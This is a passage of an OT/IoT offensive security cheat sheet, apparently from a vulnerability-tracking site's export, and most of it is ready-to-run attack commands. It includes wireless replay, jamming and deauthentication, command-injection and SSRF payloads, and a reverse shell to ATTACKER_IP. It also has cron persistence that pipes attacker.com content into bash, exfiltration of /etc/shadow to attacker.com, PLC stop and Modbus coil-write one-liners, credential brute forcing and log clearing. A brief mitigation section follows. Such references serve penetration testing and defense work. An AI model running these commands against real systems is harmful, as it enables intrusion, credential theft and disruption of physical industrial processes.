Pi\ni2cdetect -y 0 # Other boards\n\n# Read from device\ni2cget -y 1 0x50 0x00 # Read byte from address 0x50\ni2cdump -y 1 0x50 # Dump all registers\n\n# Write to device\ni2cset -y 1 0x50 0x00 0xFF # Write byte\n```\n\n**EEPROM Dumping:**\n```bash\n# Dump entire EEPROM\ndd if=/sys/bus/i2c/devices/1-0050/eeprom of=eeprom.bin\n\n# Using flashrom\nflashrom -p buspirate_spi:dev=/dev/ttyUSB0 -r eeprom.bin\n```\n\n### **Wireless Protocol Attacks**\n\n#### **Zigbee/Z-Wave**\n\n**Sniffing with KillerBee:**\n```bash\n# List devices\nsudo zbid\n\n# Sniff traffic\nsudo zbwireshark # GUI\nsudo zbdump -i /dev/ttyUSB0 -w capture.pcap # CLI\n\n# Capture specific channel\nsudo zbdump -i /dev/ttyUSB0 -c 15 -w channel15.pcap\n\n# Replay attack\nsudo zbreplay -i /dev/ttyUSB0 -r capture.pcap -f 1\n\n# Packet injection\nsudo zbinject -i /dev/ttyUSB0 -c 15 -p \"malicious_packet\"\n```\n\n**Exploitation:**\n```bash\n# Crack network key\nsudo zbgoodfind -r capture.pcap\n\n# De-authentication attack\nsudo zbstumbler -i /dev/ttyUSB0\n\n# Key extraction from devices\n# Requires physical access to extract keys from chips\n```\n\n#### **Bluetooth Low Energy (BLE)**\n\n**Discovery:**\n```bash\n# Scan for devices\nsudo hcitool lescan\nsudo bluetoothctl scan on\n\n# Get device info\nsudo hcitool leinfo MAC_ADDRESS\n```\n\n**GATT Enumeration:**\n```bash\n# Using gatttool\ngatttool -b MAC_ADDRESS -I\n[CONNECTED]> primary\n[CONNECTED]> characteristics\n[CONNECTED]> char-read-hnd 0x000c\n```\n\n**Exploitation with GATTacker:**\n```bash\n# Clone BLE device\nnode clone.js MAC_ADDRESS\n\n# MITM attack\nnode advertise.js -s \"Spoofed Device\"\n\n# Fuzzing\npython3 ble_fuzzer.py -t MAC_ADDRESS\n```\n\n#### **LPWAN (LoRaWAN, Sigfox)**\n\n**LoRaWAN Sniffing:**\n```bash\n# Using gr-lora\ngnuradio-companion # Use LoRa receiver flowgraph\n\n# Using SDR with Lorawan decoder\nrtl_sdr -f 868000000 -s 1000000 -g 40 - | lorawan-decoder\n\n# Capture packets\nsudo tshark -i lo -Y \"lorawan\" -w lorawan.pcap\n```\n\n**Replay Attacks:**\n```bash\n# Record transmission\nrtl_sdr -f 868000000 -s 1000000 -g 40 capture.bin\n\n# Replay with HackRF\nhackrf_transfer -t capture.bin -f 868000000 -s 1000000 -a 1 -x 40\n```\n\n**Jamming:**\n```bash\n# Generate noise\nhackrf_transfer -t noise.bin -f 868000000 -s 1000000 -a 1 -x 40\n```\n\n#### **Wi-Fi Attacks on IoT**\n\n**De-authentication:**\n```bash\n# Using aireplay-ng\naireplay-ng -0 10 -a AP_MAC -c CLIENT_MAC wlan0mon\n\n# Using mdk4\nmdk4 wlan0mon d -b blacklist.txt -c 1\n```\n\n**WPA2 Enterprise Attacks:**\n```bash\n# EAP attack with hostapd-wpe\nhostapd-wpe hostapd-wpe.conf\n\n# Capture credentials\nasleap -r capture.cap -f wordlist.txt\n```\n\n**WPS PIN Attacks:**\n```bash\n# Using Reaver\nreaver -i wlan0mon -b AP_MAC -vv\n\n# Using bully\nbully wlan0mon -b AP_MAC -p 12345670\n```\n\n### **Web Interface & API Attacks**\n\n**Default Credentials:**\n```bash\n# Common IoT defaults\nadmin/admin\nadmin/password\nroot/root\nuser/user\nsupport/support\ntechnician/technician\n\n# Manufacturer-specific\nCisco/Cisco\nD-Link/admin\nNetgear/password\nTP-Link/admin\nUbiquiti/ubnt\n```\n\n**Directory Enumeration:**\n```bash\n# Using Gobuster\ngobuster dir -u http://target_ip -w /usr/share/wordlists/dirb/common.txt \\\n-x php,html,txt,cgi,bin,sh\n\n# Using Dirb\ndirb http://target_ip /usr/share/wordlists/dirb/common.txt\n\n# Using FFuF\nffuf -u http://target_ip/FUZZ -w wordlist.txt\n```\n\n**API Testing:**\n```bash\n# Discover endpoints\ncurl http://target_ip/api/v1/\ncurl http://target_ip/rest/\ncurl http://target_ip/webservices/\n\n# Fuzz parameters\nwfuzz -c -z file,wordlist.txt --hc 404 http://target_ip/api/FUZZ\n\n# Test for injection\ncurl \"http://target_ip/api/control?device=1;ls\"\ncurl -X POST http://target_ip/api/config -d \"data=alert(1)\"\n```\n\n### **Common IoT Vulnerabilities**\n\n**Command Injection:**\n```bash\n# Test for command injection\ncurl \"http://target_ip/ping?ip=127.0.0.1;whoami\"\ncurl \"http://target_ip/ping?ip=127.0.0.1||id\"\ncurl \"http://target_ip/ping?ip=127.0.0.1&&cat /etc/passwd\"\n\n# Reverse shell\ncurl \"http://target_ip/ping?ip=127.0.0.1;bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\"\n```\n\n**Path Traversal:**\n```bash\ncurl \"http://target_ip/../../etc/passwd\"\ncurl \"http://target_ip/%2e%2e/%2e%2e/etc/passwd\"\ncurl \"http://target_ip/..%2f..%2fetc%2fpasswd\"\n```\n\n**Insecure Direct Object Reference:**\n```bash\n# Bypass authorization\ncurl \"http://target_ip/api/user/1\" # Try 2, 3, etc.\ncurl \"http://target_ip/api/device/100/config\"\n```\n\n**XML External Entity (XXE):**\n```bash\ncurl -X POST http://target_ip/api/config \\\n-H \"Content-Type: application/xml\" \\\n-d '\n ]>\n&xxe;'\n```\n\n**Server-Side Request Forgery (SSRF):**\n```bash\ncurl \"http://target_ip/proxy?url=http://169.254.169.254/latest/meta-data/\"\ncurl \"http://target_ip/proxy?url=file:///etc/passwd\"\ncurl \"http://target_ip/proxy?url=gopher://attacker.com:80/_GET%20/internal\"\n```\n\n---\n\n## OT/IoT Security Assessment Methodology\n\n### **Phase 1: Reconnaissance**\n\n```bash\n# 1. Passive reconnaissance\n# Use Shodan, Censys, ZoomEye\nshodan search \"SCADA country:US\"\ncensys search \"services.service_name: MODBUS\"\n\n# 2. Active scanning\nnmap -sS -p 1-65535 -T4 -A -v target\nmasscan -p1-65535 target --rate=1000\n\n# 3. Protocol identification\nnmap --script banner -p- target\n```\n\n### **Phase 2: Enumeration**\n\n```bash\n# 1. Service enumeration\nnmap -sV -sC -p 102,502,20000,44818 target\n\n# 2. Web enumeration\ngobuster dir -u http://target -w /usr/share/wordlists/dirb/common.txt\n\n# 3. SNMP enumeration\nsnmpwalk -c public -v1 target\nsnmp-check target -c public\n```\n\n### **Phase 3: Vulnerability Assessment**\n\n```bash\n# 1. Protocol-specific testing\npython3 modscan.py -t target -p 502\npython3 s7scan.py -t target\n\n# 2. Web vulnerability scanning\nnikto -h http://target\nwapiti -u http://target\n\n# 3. Credential testing\nhydra -L users.txt -P passwords.txt target ssh\nhydra -L users.txt -P passwords.txt http-post-form \"/login.php:user=^USER^&pass=^PASS^:F=incorrect\"\n```\n\n### **Phase 4: Exploitation**\n\n```bash\n# 1. Protocol exploitation\n# Modbus write coil\nmbtget -a 1 -f 0 -c 1 -v 1 -p 502 target\n\n# S7 stop CPU\npython3 -c \"import snap7; client = snap7.client.Client(); client.connect('target', 0, 1); client.plc_stop()\"\n\n# 2. Web exploitation\n# Command injection\ncurl \"http://target/ping?ip=127.0.0.1;whoami\"\n\n# 3. Hardware exploitation\n# UART shell access\nscreen /dev/ttyUSB0 115200\n```\n\n### **Phase 5: Post-Exploitation**\n\n```bash\n# 1. Establish persistence\necho \"*/5 * * * * curl http://attacker.com/shell.sh | bash\" >> /etc/crontab\n\n# 2. Lateral movement\n# Scan internal network\nnmap -sn 192.168.1.0/24\n\n# 3. Data exfiltration\ntar czf data.tar.gz /etc/passwd /etc/shadow\ncurl -X POST -F \"file=@data.tar.gz\" http://attacker.com/upload\n```\n\n### **Phase 6: Reporting**\n\n```bash\n# 1. Document findings\n# Create detailed report with:\n# - Vulnerabilities found\n# - Risk assessment\n# - Proof of concept\n# - Remediation recommendations\n\n# 2. Clean up\n# Remove tools, logs, backdoors\nrm -rf /tmp/malware\nhistory -c\n```\n\n---\n\n## Defense & Mitigation Strategies\n\n### **Network Segmentation**\n\n```bash\n# Implement firewall rules\n# Example iptables rules for OT network\niptables -A INPUT -p tcp --dport 502 -s 10.0.1.0/24 -j ACCEPT\niptables -A INPUT -p tcp --dport 502 -j DROP\n\n# VLAN segmentation\n# Separate OT from IT network\nvlan 10\n name OT_NETWORK\nvlan 20\n name IT_NETWORK\n```\n\n### **Access Control**\n\n```bash\n# Strong authentication\n# Use certificate-based authentication for critical systems\nopenssl req -new -newkey rsa:2048 -days 365 -nodes -x509 \\\n-keyout ot_key.pem -out ot_cert.pem\n\n# Role-based access control\n# Implement least privilege principle\n```\n\n### **Monitoring & Detection**\n\n```bash\n# Network monitoring\n# Use tools like Security Onion, Wazuh\nsuricata -c /etc/suricata/suricata.yaml -i eth0\n\n# Anomaly detection\n# Monitor for abnormal protocol behavior\n# Alert on: Unusual write commands, out-of-range values, etc.\n```\n\n### **Secure Configuration**\n\n```bash\n# Change default credentials\n# Disable unnecessary services\n# Regular patching (where possible)\n# Network segmentation\n# Logging and monitoring\n```\n\n### **Incident Response**\n\n```bash\n# IR Plan for OT systems\n1. Immediate isolation\n2. Assess impact on physical processes\n3. Preserve forensic evidence\n4. Coordinate with operations team\n5. System restoration with integrity checks\n```\n\n---\n\n## Tools & Resources\n\n### **Essential OT/IoT Security Tools**\n\n| Category | Tools |\n|----------|-------|\n| **Network Scanning** | Nmap, Masscan, ZMap |\n| **Protocol Analysis** | Wireshark, tcpdump, Scapy |\n| **ICS Protocols** | modscan, s7scan, dnp3-map, enip-tools |\n| **Firmware Analysis** | Binwalk, FACT, EMBBA, FAT |\n| **Hardware Tools** | JTAGulator, Bus Pirate, Shikra, ChipWhisperer |\n| **Wireless** | KillerBee, Ubertooth, HackRF, RTL-SDR |\n| **Exploitation** | Metasploit, Cobalt Strike, Empire |\n| **Vulnerability Scanners** | Nessus, OpenVAS, Nikto |\n\n### **Online Resources**\n\n```bash\n# Shodan filters for OT\n\"port:502\" \"country:US\"\n\"SCADA\" \"port:102\"\n\"Modbus\" \"port:502\"\n\n# Censys queries\nservices.service_name: \"MODBUS\"\n443.https.tls.certificate.parsed.names: \"scada\"\n```\n---\n\n## Quick Reference Commands\n\n### **OT Protocol Discovery**\n```bash\n# Quick OT scan\nnmap -sS -p 102,502,20000,44818,47808,34962-34964 -oA ot_scan target\n\n# Modbus check\nnc -zv target 502\necho -ne \"\\x00\\x01\\x00\\x00\\x00\\x06\\x01\\x03\\x00\\x00\\x00\\x01\" | nc target 502 | hexdump -C\n\n# S7 check\nnc -zv target 102\n```\n\n### **Common Exploitation**\n```bash\n# Modbus write coil (turn on)\npython3 -c \"\nfrom pymodbus.client import ModbusTcpClient\nclient = ModbusTcpClient('target', port=502)\nclient.write_coil(0, True)\n\"\n\n# VNC brute force\nhydra -L admin -P rockyou.txt -s 5900 -f -vV target vnc\n\n# RDP connection\nxfreerdp /u:administrator /p:Password123 /v:target /cert-ignore\n```\n\n### **Hardware Access**\n```bash\n# UART connection\nscreen /dev/ttyUSB0 115200\n\n# JTAG debugging\nopenocd -f interface/jlink.cfg -f target/stm32f1x.cfg\ntelnet localhost 4444\n```\n\n### **Firmware Analysis**\n```bash\n# Quick analysis\nbinwalk firmware.bin\nstrings firmware.bin | grep -i \"password\\|admin\\|root\"\n```\n\n---\n\n", "creation_timestamp": "2026-08-25T16:24:58.651607Z"} https://vulnerability.circl.lu/sighting/b6d8f56c-badb-4a88-8771-833f94cf7b44/export Tue, 25 Aug 2026 16:24:58 +0000